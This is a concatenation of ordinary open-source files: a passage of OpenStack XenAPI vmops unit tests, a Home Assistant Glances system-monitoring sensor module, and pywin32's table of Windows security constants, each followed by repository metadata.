mock.call(self.vmops._session, instance, 5, 1000)]
self.assertEqual(expected, mock_resize.call_args_list)
@mock.patch.object(vm_utils, 'generate_single_ephemeral')
@mock.patch.object(vm_utils, 'get_ephemeral_disk_sizes')
def test_resize_up_vdis_ephemeral_with_generate(self, mock_sizes,
mock_generate,
mock_resize):
mock_sizes.return_value = [2000, 1000]
instance = {"root_gb": 0, "ephemeral_gb": 3000, "uuid": "a"}
ephemerals = {"4": {"ref": 4}}
vdis = {"ephemerals": ephemerals}
self.vmops._resize_up_vdis(instance, vdis)
mock_sizes.assert_called_once_with(3000)
mock_resize.assert_called_once_with(self.vmops._session, instance,
4, 2000)
mock_generate.assert_called_once_with(self.vmops._session, instance,
None, 5, 1000)
class LiveMigrateHelperTestCase(VMOpsTestBase):
def test_connect_block_device_volumes_none(self):
self.assertEqual({}, self.vmops.connect_block_device_volumes(None))
@mock.patch.object(volumeops.VolumeOps, "connect_volume")
def test_connect_block_device_volumes_calls_connect(self, mock_connect):
with mock.patch.object(self.vmops._session,
"call_xenapi") as mock_session:
mock_connect.return_value = ("sr_uuid", None)
mock_session.return_value = "sr_ref"
bdm = {"connection_info": "c_info"}
bdi = {"block_device_mapping": [bdm]}
result = self.vmops.connect_block_device_volumes(bdi)
self.assertEqual({'sr_uuid': 'sr_ref'}, result)
mock_connect.assert_called_once_with("c_info")
mock_session.assert_called_once_with("SR.get_by_uuid",
"sr_uuid")
@mock.patch.object(vmops.VMOps, '_resize_ensure_vm_is_shutdown')
@mock.patch.object(vmops.VMOps, '_apply_orig_vm_name_label')
@mock.patch.object(vmops.VMOps, '_update_instance_progress')
@mock.patch.object(vm_utils, 'get_vdi_for_vm_safely')
@mock.patch.object(vm_utils, 'resize_disk')
@mock.patch.object(vm_utils, 'migrate_vhd')
@mock.patch.object(vm_utils, 'destroy_vdi')
class MigrateDiskResizingDownTestCase(VMOpsTestBase):
def test_migrate_disk_resizing_down_works_no_ephemeral(
self,
mock_destroy_vdi,
mock_migrate_vhd,
mock_resize_disk,
mock_get_vdi_for_vm_safely,
mock_update_instance_progress,
mock_apply_orig_vm_name_label,
mock_resize_ensure_vm_is_shutdown):
context = "ctx"
instance = {"name": "fake", "uuid": "uuid"}
dest = "dest"
vm_ref = "vm_ref"
sr_path = "sr_path"
instance_type = dict(root_gb=1)
old_vdi_ref = "old_ref"
new_vdi_ref = "new_ref"
new_vdi_uuid = "new_uuid"
mock_get_vdi_for_vm_safely.return_value = (old_vdi_ref, None)
mock_resize_disk.return_value = (new_vdi_ref, new_vdi_uuid)
self.vmops._migrate_disk_resizing_down(context, instance, dest,
instance_type, vm_ref, sr_path)
mock_get_vdi_for_vm_safely.assert_called_once_with(
self.vmops._session,
vm_ref)
mock_resize_ensure_vm_is_shutdown.assert_called_once_with(
instance, vm_ref)
mock_apply_orig_vm_name_label.assert_called_once_with(
instance, vm_ref)
mock_resize_disk.assert_called_once_with(
self.vmops._session,
instance,
old_vdi_ref,
instance_type)
mock_migrate_vhd.assert_called_once_with(
self.vmops._session,
instance,
new_vdi_uuid,
dest,
sr_path, 0)
mock_destroy_vdi.assert_called_once_with(
self.vmops._session,
new_vdi_ref)
prog_expected = [
mock.call(context, instance, 1, 5),
mock.call(context, instance, 2, 5),
mock.call(context, instance, 3, 5),
mock.call(context, instance, 4, 5)
# 5/5: step to be executed by finish migration.
]
self.assertEqual(prog_expected,
mock_update_instance_progress.call_args_list)
| apache-2.0 |
HydrelioxGitHub/home-assistant | homeassistant/components/sensor/glances.py | 3 | 8776 | """
Support gathering system information of hosts which are running glances.
For more details about this platform, please refer to the documentation at
https://home-assistant.io/components/sensor.glances/
"""
from datetime import timedelta
import logging
import voluptuous as vol
from homeassistant.components.sensor import PLATFORM_SCHEMA
from homeassistant.const import (
CONF_HOST, CONF_NAME, CONF_PORT, CONF_USERNAME, CONF_PASSWORD, CONF_SSL,
CONF_VERIFY_SSL, CONF_RESOURCES, TEMP_CELSIUS)
from homeassistant.exceptions import PlatformNotReady
from homeassistant.helpers.aiohttp_client import async_get_clientsession
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers.entity import Entity
from homeassistant.util import Throttle
REQUIREMENTS = ['glances_api==0.2.0']
_LOGGER = logging.getLogger(__name__)
CONF_VERSION = 'version'
DEFAULT_HOST = 'localhost'
DEFAULT_NAME = 'Glances'
DEFAULT_PORT = '61208'
DEFAULT_VERSION = 2
MIN_TIME_BETWEEN_UPDATES = timedelta(minutes=1)
SENSOR_TYPES = {
'disk_use_percent': ['Disk used', '%', 'mdi:harddisk'],
'disk_use': ['Disk used', 'GiB', 'mdi:harddisk'],
'disk_free': ['Disk free', 'GiB', 'mdi:harddisk'],
'memory_use_percent': ['RAM used', '%', 'mdi:memory'],
'memory_use': ['RAM used', 'MiB', 'mdi:memory'],
'memory_free': ['RAM free', 'MiB', 'mdi:memory'],
'swap_use_percent': ['Swap used', '%', 'mdi:memory'],
'swap_use': ['Swap used', 'GiB', 'mdi:memory'],
'swap_free': ['Swap free', 'GiB', 'mdi:memory'],
'processor_load': ['CPU load', '15 min', 'mdi:memory'],
'process_running': ['Running', 'Count', 'mdi:memory'],
'process_total': ['Total', 'Count', 'mdi:memory'],
'process_thread': ['Thread', 'Count', 'mdi:memory'],
'process_sleeping': ['Sleeping', 'Count', 'mdi:memory'],
'cpu_use_percent': ['CPU used', '%', 'mdi:memory'],
'cpu_temp': ['CPU Temp', TEMP_CELSIUS, 'mdi:thermometer'],
'docker_active': ['Containers active', '', 'mdi:docker'],
'docker_cpu_use': ['Containers CPU used', '%', 'mdi:docker'],
'docker_memory_use': ['Containers RAM used', 'MiB', 'mdi:docker'],
}
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
vol.Required(CONF_HOST, default=DEFAULT_HOST): cv.string,
vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port,
vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
vol.Optional(CONF_USERNAME): cv.string,
vol.Optional(CONF_PASSWORD): cv.string,
vol.Optional(CONF_SSL, default=False): cv.boolean,
vol.Optional(CONF_VERIFY_SSL, default=True): cv.boolean,
vol.Optional(CONF_RESOURCES, default=['disk_use']):
vol.All(cv.ensure_list, [vol.In(SENSOR_TYPES)]),
vol.Optional(CONF_VERSION, default=DEFAULT_VERSION): vol.In([2, 3]),
})
async def async_setup_platform(
hass, config, async_add_entities, discovery_info=None):
"""Set up the Glances sensors."""
from glances_api import Glances
name = config[CONF_NAME]
host = config[CONF_HOST]
port = config[CONF_PORT]
version = config[CONF_VERSION]
var_conf = config[CONF_RESOURCES]
username = config.get(CONF_USERNAME)
password = config.get(CONF_PASSWORD)
ssl = config[CONF_SSL]
verify_ssl = config[CONF_VERIFY_SSL]
session = async_get_clientsession(hass, verify_ssl)
glances = GlancesData(
Glances(hass.loop, session, host=host, port=port, version=version,
username=username, password=password, ssl=ssl))
await glances.async_update()
if glances.api.data is None:
raise PlatformNotReady
dev = []
for resource in var_conf:
dev.append(GlancesSensor(glances, name, resource))
async_add_entities(dev, True)
class GlancesSensor(Entity):
"""Implementation of a Glances sensor."""
def __init__(self, glances, name, sensor_type):
"""Initialize the sensor."""
self.glances = glances
self._name = name
self.type = sensor_type
self._state = None
self._unit_of_measurement = SENSOR_TYPES[sensor_type][1]
@property
def name(self):
"""Return the name of the sensor."""
return '{} {}'.format(self._name, SENSOR_TYPES[self.type][0])
@property
def icon(self):
"""Icon to use in the frontend, if any."""
return SENSOR_TYPES[self.type][2]
@property
def unit_of_measurement(self):
"""Return the unit the value is expressed in."""
return self._unit_of_measurement
@property
def available(self):
"""Could the device be accessed during the last update call."""
return self.glances.available
@property
def state(self):
"""Return the state of the resources."""
return self._state
async def async_update(self):
"""Get the latest data from REST API."""
await self.glances.async_update()
value = self.glances.api.data
if value is not None:
if self.type == 'disk_use_percent':
self._state = value['fs'][0]['percent']
elif self.type == 'disk_use':
self._state = round(value['fs'][0]['used'] / 1024**3, 1)
elif self.type == 'disk_free':
try:
self._state = round(value['fs'][0]['free'] / 1024**3, 1)
except KeyError:
self._state = round((value['fs'][0]['size'] -
value['fs'][0]['used']) / 1024**3, 1)
elif self.type == 'memory_use_percent':
self._state = value['mem']['percent']
elif self.type == 'memory_use':
self._state = round(value['mem']['used'] / 1024**2, 1)
elif self.type == 'memory_free':
self._state = round(value['mem']['free'] / 1024**2, 1)
elif self.type == 'swap_use_percent':
self._state = value['memswap']['percent']
elif self.type == 'swap_use':
self._state = round(value['memswap']['used'] / 1024**3, 1)
elif self.type == 'swap_free':
self._state = round(value['memswap']['free'] / 1024**3, 1)
elif self.type == 'processor_load':
# Windows systems don't provide load details
try:
self._state = value['load']['min15']
except KeyError:
self._state = value['cpu']['total']
elif self.type == 'process_running':
self._state = value['processcount']['running']
elif self.type == 'process_total':
self._state = value['processcount']['total']
elif self.type == 'process_thread':
self._state = value['processcount']['thread']
elif self.type == 'process_sleeping':
self._state = value['processcount']['sleeping']
elif self.type == 'cpu_use_percent':
self._state = value['quicklook']['cpu']
elif self.type == 'cpu_temp':
for sensor in value['sensors']:
if sensor['label'] in ['CPU', "Package id 0",
"Physical id 0", "cpu-thermal 1",
"exynos-therm 1", "soc_thermal 1"]:
self._state = sensor['value']
elif self.type == 'docker_active':
count = 0
for container in value['docker']['containers']:
if container['Status'] == 'running' or \
'Up' in container['Status']:
count += 1
self._state = count
elif self.type == 'docker_cpu_use':
use = 0.0
for container in value['docker']['containers']:
use += container['cpu']['total']
self._state = round(use, 1)
elif self.type == 'docker_memory_use':
use = 0.0
for container in value['docker']['containers']:
use += container['memory']['usage']
self._state = round(use / 1024**2, 1)
class GlancesData:
"""The class for handling the data retrieval."""
def __init__(self, api):
"""Initialize the data object."""
self.api = api
self.available = True
@Throttle(MIN_TIME_BETWEEN_UPDATES)
async def async_update(self):
"""Get the latest data from the Glances REST API."""
from glances_api.exceptions import GlancesApiError
try:
await self.api.get_data()
self.available = True
except GlancesApiError:
_LOGGER.error("Unable to fetch data from Glances")
self.available = False
| apache-2.0 |
abaditsegay/arangodb | 3rdParty/V8-4.3.61/third_party/python_26/Lib/site-packages/win32/lib/ntsecuritycon.py | 21 | 24453 | # Hacked from winnt.h
DELETE = (65536)
READ_CONTROL = (131072)
WRITE_DAC = (262144)
WRITE_OWNER = (524288)
SYNCHRONIZE = (1048576)
STANDARD_RIGHTS_REQUIRED = (983040)
STANDARD_RIGHTS_READ = (READ_CONTROL)
STANDARD_RIGHTS_WRITE = (READ_CONTROL)
STANDARD_RIGHTS_EXECUTE = (READ_CONTROL)
STANDARD_RIGHTS_ALL = (2031616)
SPECIFIC_RIGHTS_ALL = (65535)
ACCESS_SYSTEM_SECURITY = (16777216)
MAXIMUM_ALLOWED = (33554432)
GENERIC_READ = (-2147483648)
GENERIC_WRITE = (1073741824)
GENERIC_EXECUTE = (536870912)
GENERIC_ALL = (268435456)
# file security permissions
FILE_READ_DATA= ( 1 )
FILE_LIST_DIRECTORY= ( 1 )
FILE_WRITE_DATA= ( 2 )
FILE_ADD_FILE= ( 2 )
FILE_APPEND_DATA= ( 4 )
FILE_ADD_SUBDIRECTORY= ( 4 )
FILE_CREATE_PIPE_INSTANCE= ( 4 )
FILE_READ_EA= ( 8 )
FILE_WRITE_EA= ( 16 )
FILE_EXECUTE= ( 32 )
FILE_TRAVERSE= ( 32 )
FILE_DELETE_CHILD= ( 64 )
FILE_READ_ATTRIBUTES= ( 128 )
FILE_WRITE_ATTRIBUTES= ( 256 )
FILE_ALL_ACCESS= (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 1023)
FILE_GENERIC_READ= (STANDARD_RIGHTS_READ | FILE_READ_DATA | FILE_READ_ATTRIBUTES | FILE_READ_EA | SYNCHRONIZE)
FILE_GENERIC_WRITE= (STANDARD_RIGHTS_WRITE | FILE_WRITE_DATA | FILE_WRITE_ATTRIBUTES | FILE_WRITE_EA | FILE_APPEND_DATA | SYNCHRONIZE)
FILE_GENERIC_EXECUTE= (STANDARD_RIGHTS_EXECUTE | FILE_READ_ATTRIBUTES | FILE_EXECUTE | SYNCHRONIZE)
SECURITY_NULL_SID_AUTHORITY = (0,0,0,0,0,0)
SECURITY_WORLD_SID_AUTHORITY = (0,0,0,0,0,1)
SECURITY_LOCAL_SID_AUTHORITY = (0,0,0,0,0,2)
SECURITY_CREATOR_SID_AUTHORITY = (0,0,0,0,0,3)
SECURITY_NON_UNIQUE_AUTHORITY = (0,0,0,0,0,4)
SECURITY_RESOURCE_MANAGER_AUTHORITY = (0,0,0,0,0,9)
SECURITY_NULL_RID = 0
SECURITY_WORLD_RID = 0
SECURITY_LOCAL_RID = 0X00000000
SECURITY_CREATOR_OWNER_RID = 0
SECURITY_CREATOR_GROUP_RID = 1
SECURITY_CREATOR_OWNER_SERVER_RID = 2
SECURITY_CREATOR_GROUP_SERVER_RID = 3
SECURITY_CREATOR_OWNER_RIGHTS_RID = 4
# NT well-known SIDs
SECURITY_NT_AUTHORITY = (0,0,0,0,0,5)
SECURITY_DIALUP_RID = 1
SECURITY_NETWORK_RID = 2
SECURITY_BATCH_RID = 3
SECURITY_INTERACTIVE_RID = 4
SECURITY_SERVICE_RID = 6
SECURITY_ANONYMOUS_LOGON_RID = 7
SECURITY_PROXY_RID = 8
SECURITY_SERVER_LOGON_RID = 9
SECURITY_LOGON_IDS_RID = 5
SECURITY_LOGON_IDS_RID_COUNT = 3
SECURITY_LOCAL_SYSTEM_RID = 18
SECURITY_NT_NON_UNIQUE = 21
SECURITY_BUILTIN_DOMAIN_RID = 32
# well-known domain relative sub-authority values (RIDs)...
DOMAIN_USER_RID_ADMIN = 500
DOMAIN_USER_RID_GUEST = 501
DOMAIN_USER_RID_KRBTGT = 502
DOMAIN_USER_RID_MAX = 999
# well-known groups ...
DOMAIN_GROUP_RID_ADMINS = 512
DOMAIN_GROUP_RID_USERS = 513
DOMAIN_GROUP_RID_GUESTS = 514
DOMAIN_GROUP_RID_COMPUTERS = 515
DOMAIN_GROUP_RID_CONTROLLERS = 516
DOMAIN_GROUP_RID_CERT_ADMINS = 517
DOMAIN_GROUP_RID_SCHEMA_ADMINS = 518
DOMAIN_GROUP_RID_ENTERPRISE_ADMINS = 519
DOMAIN_GROUP_RID_POLICY_ADMINS = 520
DOMAIN_GROUP_RID_READONLY_CONTROLLERS = 521
# well-known aliases ...
DOMAIN_ALIAS_RID_ADMINS = 544
DOMAIN_ALIAS_RID_USERS = 545
DOMAIN_ALIAS_RID_GUESTS = 546
DOMAIN_ALIAS_RID_POWER_USERS = 547
DOMAIN_ALIAS_RID_ACCOUNT_OPS = 548
DOMAIN_ALIAS_RID_SYSTEM_OPS = 549
DOMAIN_ALIAS_RID_PRINT_OPS = 550
DOMAIN_ALIAS_RID_BACKUP_OPS = 551
DOMAIN_ALIAS_RID_REPLICATOR = 552
DOMAIN_ALIAS_RID_RAS_SERVERS = 553
DOMAIN_ALIAS_RID_PREW2KCOMPACCESS = 554
DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS = 555
DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS = 556
DOMAIN_ALIAS_RID_INCOMING_FOREST_TRUST_BUILDERS = 557
DOMAIN_ALIAS_RID_MONITORING_USERS = 558
DOMAIN_ALIAS_RID_LOGGING_USERS = 559
DOMAIN_ALIAS_RID_AUTHORIZATIONACCESS = 560
DOMAIN_ALIAS_RID_TS_LICENSE_SERVERS = 561
DOMAIN_ALIAS_RID_DCOM_USERS = 562
DOMAIN_ALIAS_RID_IUSERS = 568
DOMAIN_ALIAS_RID_CRYPTO_OPERATORS = 569
DOMAIN_ALIAS_RID_CACHEABLE_PRINCIPALS_GROUP = 571
DOMAIN_ALIAS_RID_NON_CACHEABLE_PRINCIPALS_GROUP = 572
DOMAIN_ALIAS_RID_EVENT_LOG_READERS_GROUP = 573
SECURITY_MANDATORY_LABEL_AUTHORITY = (0,0,0,0,0,16)
SECURITY_MANDATORY_UNTRUSTED_RID = 0x00000000
SECURITY_MANDATORY_LOW_RID = 0x00001000
SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
SECURITY_MANDATORY_HIGH_RID = 0x00003000
SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x00005000
SECURITY_MANDATORY_MAXIMUM_USER_RID = SECURITY_MANDATORY_SYSTEM_RID
SYSTEM_LUID = (999, 0)
ANONYMOUS_LOGON_LUID = (998, 0)
LOCALSERVICE_LUID = (997, 0)
NETWORKSERVICE_LUID = (996, 0)
IUSER_LUID = (995, 0)
# Group attributes
SE_GROUP_MANDATORY = 1
SE_GROUP_ENABLED_BY_DEFAULT = 2
SE_GROUP_ENABLED = 4
SE_GROUP_OWNER = 8
SE_GROUP_USE_FOR_DENY_ONLY = 16
SE_GROUP_INTEGRITY = 32
SE_GROUP_INTEGRITY_ENABLED = 64
SE_GROUP_RESOURCE = 536870912
SE_GROUP_LOGON_ID = -1073741824
# User attributes
# (None yet defined.)
# ACE types
ACCESS_MIN_MS_ACE_TYPE = (0)
ACCESS_ALLOWED_ACE_TYPE = (0)
ACCESS_DENIED_ACE_TYPE = (1)
SYSTEM_AUDIT_ACE_TYPE = (2)
SYSTEM_ALARM_ACE_TYPE = (3)
ACCESS_MAX_MS_V2_ACE_TYPE = (3)
ACCESS_ALLOWED_COMPOUND_ACE_TYPE = (4)
ACCESS_MAX_MS_V3_ACE_TYPE = (4)
ACCESS_MIN_MS_OBJECT_ACE_TYPE = (5)
ACCESS_ALLOWED_OBJECT_ACE_TYPE = (5)
ACCESS_DENIED_OBJECT_ACE_TYPE = (6)
SYSTEM_AUDIT_OBJECT_ACE_TYPE = (7)
SYSTEM_ALARM_OBJECT_ACE_TYPE = (8)
ACCESS_MAX_MS_OBJECT_ACE_TYPE = (8)
ACCESS_MAX_MS_V4_ACE_TYPE = (8)
ACCESS_MAX_MS_ACE_TYPE = (8)
ACCESS_ALLOWED_CALLBACK_ACE_TYPE = 9
ACCESS_DENIED_CALLBACK_ACE_TYPE = 10
ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE = 11
ACCESS_DENIED_CALLBACK_OBJECT_ACE_TYPE = 12
SYSTEM_AUDIT_CALLBACK_ACE_TYPE = 13
SYSTEM_ALARM_CALLBACK_ACE_TYPE = 14
SYSTEM_AUDIT_CALLBACK_OBJECT_ACE_TYPE = 15
SYSTEM_ALARM_CALLBACK_OBJECT_ACE_TYPE = 16
SYSTEM_MANDATORY_LABEL_ACE_TYPE = 17
ACCESS_MAX_MS_V5_ACE_TYPE = 17
# The following are the inherit flags that go into the AceFlags field
# of an Ace header.
OBJECT_INHERIT_ACE = 1
CONTAINER_INHERIT_ACE = 2
NO_PROPAGATE_INHERIT_ACE = 4
INHERIT_ONLY_ACE = 8
VALID_INHERIT_FLAGS = 15
SUCCESSFUL_ACCESS_ACE_FLAG = 64
FAILED_ACCESS_ACE_FLAG = 128
SE_OWNER_DEFAULTED = 1
SE_GROUP_DEFAULTED = 2
SE_DACL_PRESENT = 4
SE_DACL_DEFAULTED = 8
SE_SACL_PRESENT = 16
SE_SACL_DEFAULTED = 32
SE_SELF_RELATIVE = 32768
SE_PRIVILEGE_ENABLED_BY_DEFAULT = 1
SE_PRIVILEGE_ENABLED = 2
SE_PRIVILEGE_USED_FOR_ACCESS = -2147483648
PRIVILEGE_SET_ALL_NECESSARY = 1
# NT Defined Privileges
SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege"
SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"
SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege"
SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"
SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege"
SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege"
SE_TCB_NAME = "SeTcbPrivilege"
SE_SECURITY_NAME = "SeSecurityPrivilege"
SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege"
SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege"
SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege"
SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege"
SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege"
SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege"
SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege"
SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege"
SE_BACKUP_NAME = "SeBackupPrivilege"
SE_RESTORE_NAME = "SeRestorePrivilege"
SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
SE_DEBUG_NAME = "SeDebugPrivilege"
SE_AUDIT_NAME = "SeAuditPrivilege"
SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege"
SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege"
SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"
# Enum SECURITY_IMPERSONATION_LEVEL:
SecurityAnonymous = 0
SecurityIdentification = 1
SecurityImpersonation = 2
SecurityDelegation = 3
SECURITY_MAX_IMPERSONATION_LEVEL = SecurityDelegation
DEFAULT_IMPERSONATION_LEVEL = SecurityImpersonation
TOKEN_ASSIGN_PRIMARY = 1
TOKEN_DUPLICATE = 2
TOKEN_IMPERSONATE = 4
TOKEN_QUERY = 8
TOKEN_QUERY_SOURCE = 16
TOKEN_ADJUST_PRIVILEGES = 32
TOKEN_ADJUST_GROUPS = 64
TOKEN_ADJUST_DEFAULT = 128
TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |\
TOKEN_ASSIGN_PRIMARY |\
TOKEN_DUPLICATE |\
TOKEN_IMPERSONATE |\
TOKEN_QUERY |\
TOKEN_QUERY_SOURCE |\
TOKEN_ADJUST_PRIVILEGES |\
TOKEN_ADJUST_GROUPS |\
TOKEN_ADJUST_DEFAULT)
TOKEN_READ = (STANDARD_RIGHTS_READ |\
TOKEN_QUERY)
TOKEN_WRITE = (STANDARD_RIGHTS_WRITE |\
TOKEN_ADJUST_PRIVILEGES |\
TOKEN_ADJUST_GROUPS |\
TOKEN_ADJUST_DEFAULT)
TOKEN_EXECUTE = (STANDARD_RIGHTS_EXECUTE)
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain =3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
SidTypeLabel = 10
# Token types
TokenPrimary = 1
TokenImpersonation = 2
# TOKEN_INFORMATION_CLASS, used with Get/SetTokenInformation
TokenUser = 1
TokenGroups = 2
TokenPrivileges = 3
TokenOwner = 4
TokenPrimaryGroup = 5
TokenDefaultDacl = 6
TokenSource = 7
TokenType = 8
TokenImpersonationLevel = 9
TokenStatistics = 10
TokenRestrictedSids = 11
TokenSessionId = 12
TokenGroupsAndPrivileges = 13
TokenSessionReference = 14
TokenSandBoxInert = 15
TokenAuditPolicy = 16
TokenOrigin = 17
TokenElevationType = 18
TokenLinkedToken = 19
TokenElevation = 20
TokenHasRestrictions = 21
TokenAccessInformation = 22
TokenVirtualizationAllowed = 23
TokenVirtualizationEnabled = 24
TokenIntegrityLevel = 25
TokenUIAccess = 26
TokenMandatoryPolicy = 27
TokenLogonSid = 28
# DirectoryService related constants.
# Generated by h2py from NtDsAPI.h
DS_BEHAVIOR_WIN2000 = 0
DS_BEHAVIOR_WIN2003_WITH_MIXED_DOMAINS = 1
DS_BEHAVIOR_WIN2003 = 2
DS_SYNCED_EVENT_NAME = "NTDSInitialSyncsCompleted"
ACTRL_DS_OPEN = 0x00000000
ACTRL_DS_CREATE_CHILD = 0x00000001
ACTRL_DS_DELETE_CHILD = 0x00000002
ACTRL_DS_LIST = 0x00000004
ACTRL_DS_SELF = 0x00000008
ACTRL_DS_READ_PROP = 0x00000010
ACTRL_DS_WRITE_PROP = 0x00000020
ACTRL_DS_DELETE_TREE = 0x00000040
ACTRL_DS_LIST_OBJECT = 0x00000080
ACTRL_DS_CONTROL_ACCESS = 0x00000100
NTDSAPI_BIND_ALLOW_DELEGATION = (0x00000001)
DS_REPSYNC_ASYNCHRONOUS_OPERATION = 0x00000001
DS_REPSYNC_WRITEABLE = 0x00000002
DS_REPSYNC_PERIODIC = 0x00000004
DS_REPSYNC_INTERSITE_MESSAGING = 0x00000008
DS_REPSYNC_ALL_SOURCES = 0x00000010
DS_REPSYNC_FULL = 0x00000020
DS_REPSYNC_URGENT = 0x00000040
DS_REPSYNC_NO_DISCARD = 0x00000080
DS_REPSYNC_FORCE = 0x00000100
DS_REPSYNC_ADD_REFERENCE = 0x00000200
DS_REPSYNC_NEVER_COMPLETED = 0x00000400
DS_REPSYNC_TWO_WAY = 0x00000800
DS_REPSYNC_NEVER_NOTIFY = 0x00001000
DS_REPSYNC_INITIAL = 0x00002000
DS_REPSYNC_USE_COMPRESSION = 0x00004000
DS_REPSYNC_ABANDONED = 0x00008000
DS_REPSYNC_INITIAL_IN_PROGRESS = 0x00010000
DS_REPSYNC_PARTIAL_ATTRIBUTE_SET = 0x00020000
DS_REPSYNC_REQUEUE = 0x00040000
DS_REPSYNC_NOTIFICATION = 0x00080000
DS_REPSYNC_ASYNCHRONOUS_REPLICA = 0x00100000
DS_REPSYNC_CRITICAL = 0x00200000
DS_REPSYNC_FULL_IN_PROGRESS = 0x00400000
DS_REPSYNC_PREEMPTED = 0x00800000
DS_REPADD_ASYNCHRONOUS_OPERATION = 0x00000001
DS_REPADD_WRITEABLE = 0x00000002
DS_REPADD_INITIAL = 0x00000004
DS_REPADD_PERIODIC = 0x00000008
DS_REPADD_INTERSITE_MESSAGING = 0x00000010
DS_REPADD_ASYNCHRONOUS_REPLICA = 0x00000020
DS_REPADD_DISABLE_NOTIFICATION = 0x00000040
DS_REPADD_DISABLE_PERIODIC = 0x00000080
DS_REPADD_USE_COMPRESSION = 0x00000100
DS_REPADD_NEVER_NOTIFY = 0x00000200
DS_REPADD_TWO_WAY = 0x00000400
DS_REPADD_CRITICAL = 0x00000800
DS_REPDEL_ASYNCHRONOUS_OPERATION = 0x00000001
DS_REPDEL_WRITEABLE = 0x00000002
DS_REPDEL_INTERSITE_MESSAGING = 0x00000004
DS_REPDEL_IGNORE_ERRORS = 0x00000008
DS_REPDEL_LOCAL_ONLY = 0x00000010
DS_REPDEL_NO_SOURCE = 0x00000020
DS_REPDEL_REF_OK = 0x00000040
DS_REPMOD_ASYNCHRONOUS_OPERATION = 0x00000001
DS_REPMOD_WRITEABLE = 0x00000002
DS_REPMOD_UPDATE_FLAGS = 0x00000001
DS_REPMOD_UPDATE_ADDRESS = 0x00000002
DS_REPMOD_UPDATE_SCHEDULE = 0x00000004
DS_REPMOD_UPDATE_RESULT = 0x00000008
DS_REPMOD_UPDATE_TRANSPORT = 0x00000010
DS_REPUPD_ASYNCHRONOUS_OPERATION = 0x00000001
DS_REPUPD_WRITEABLE = 0x00000002
DS_REPUPD_ADD_REFERENCE = 0x00000004
DS_REPUPD_DELETE_REFERENCE = 0x00000008
DS_INSTANCETYPE_IS_NC_HEAD = 0x00000001
DS_INSTANCETYPE_NC_IS_WRITEABLE = 0x00000004
DS_INSTANCETYPE_NC_COMING = 0x00000010
DS_INSTANCETYPE_NC_GOING = 0x00000020
NTDSDSA_OPT_IS_GC = ( 1 << 0 )
NTDSDSA_OPT_DISABLE_INBOUND_REPL = ( 1 << 1 )
NTDSDSA_OPT_DISABLE_OUTBOUND_REPL = ( 1 << 2 )
NTDSDSA_OPT_DISABLE_NTDSCONN_XLATE = ( 1 << 3 )
NTDSCONN_OPT_IS_GENERATED = ( 1 << 0 )
NTDSCONN_OPT_TWOWAY_SYNC = ( 1 << 1 )
NTDSCONN_OPT_OVERRIDE_NOTIFY_DEFAULT = (1 << 2 )
NTDSCONN_OPT_USE_NOTIFY = (1 << 3)
NTDSCONN_OPT_DISABLE_INTERSITE_COMPRESSION = (1 << 4)
NTDSCONN_OPT_USER_OWNED_SCHEDULE = (1 << 5)
NTDSCONN_KCC_NO_REASON = ( 0 )
NTDSCONN_KCC_GC_TOPOLOGY = ( 1 << 0 )
NTDSCONN_KCC_RING_TOPOLOGY = ( 1 << 1 )
NTDSCONN_KCC_MINIMIZE_HOPS_TOPOLOGY = ( 1 << 2 )
NTDSCONN_KCC_STALE_SERVERS_TOPOLOGY = ( 1 << 3 )
NTDSCONN_KCC_OSCILLATING_CONNECTION_TOPOLOGY = ( 1 << 4 )
NTDSCONN_KCC_INTERSITE_GC_TOPOLOGY = (1 << 5)
NTDSCONN_KCC_INTERSITE_TOPOLOGY = (1 << 6)
NTDSCONN_KCC_SERVER_FAILOVER_TOPOLOGY = (1 << 7)
NTDSCONN_KCC_SITE_FAILOVER_TOPOLOGY = (1 << 8)
NTDSCONN_KCC_REDUNDANT_SERVER_TOPOLOGY = (1 << 9)
FRSCONN_PRIORITY_MASK = 0x70000000
FRSCONN_MAX_PRIORITY = 0x8
NTDSCONN_OPT_IGNORE_SCHEDULE_MASK = (-2147483648)
NTDSSETTINGS_OPT_IS_AUTO_TOPOLOGY_DISABLED = ( 1 << 0 )
NTDSSETTINGS_OPT_IS_TOPL_CLEANUP_DISABLED = ( 1 << 1 )
NTDSSETTINGS_OPT_IS_TOPL_MIN_HOPS_DISABLED = ( 1 << 2 )
NTDSSETTINGS_OPT_IS_TOPL_DETECT_STALE_DISABLED = ( 1 << 3 )
